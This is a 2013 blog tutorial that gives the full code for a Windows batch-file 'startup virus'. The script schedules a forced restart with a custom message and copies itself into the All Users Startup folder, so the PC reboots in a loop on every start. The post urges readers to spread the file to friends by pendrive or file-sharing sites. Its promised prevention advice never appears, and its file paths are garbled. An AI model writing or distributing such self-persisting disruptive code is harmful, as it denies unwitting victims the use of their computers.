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Saturday, 22 June 2013

Batch File Proramming – 3 | Startup Virus

Batch File Proramming – 3 | Startup Virus

How to create a Batch File

This tutorial is about batch file programming, How to code a bit harmful virus using batch file and How to prevent against this virus. Read this amazing post and don’t forget to leave your feedback in comments.


Batch file commands :

@echo off
shutdown -r -t 100 -c “maverick”
xcopy “filename.bat” “C:Documents and SettingsAll UsersStart MenuProgramsStartup” /y
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Save it as any name with a .bat extension but with name *filename.bat*
you can change “maverick” with what ever message you want, You can also change “100“(in secs) with whatever time you want to restart.
if you changes *filename.bat* to “othername.bat” then also changes the above code to
|| xcopy “othername.bat” “C:Documents and SettingsAll UsersStart MenuProgramsStartup” /y ||
Send this file to your friends using a pendrive or by uploadig it to rapidshare/hotfile service.

LOGIC:-

.bat- Files having these extensions are known as batch files containg commands to be executed by command interpreter.
@echo off –  This command is used to turn off the display of executing command in command console.
-r – This parameter restarts the PC.You can also use “-s” (without quotes) to shutdown the PC.
-t :- This parameter specifies time in seconds.
-c :- This parameter is used to specify a message in the shutdown box.
xcopy:- This command copies the file specified with double quotes “othername.bat” to the location specifies (in this case startup) with double quotes “C:Documents and SettingsAll UsersStart MenuProgramsStartup”
Startup:This folder contans files to be open when ever your computer boot ups.If you place a file here it will automatically open that file on every boot.
y :- This parameter asks the command prompt to overwrite the file
After running this virus, your PC will restart and again and so on..
only way to stop this mess is to directly plug off the switch from the power board.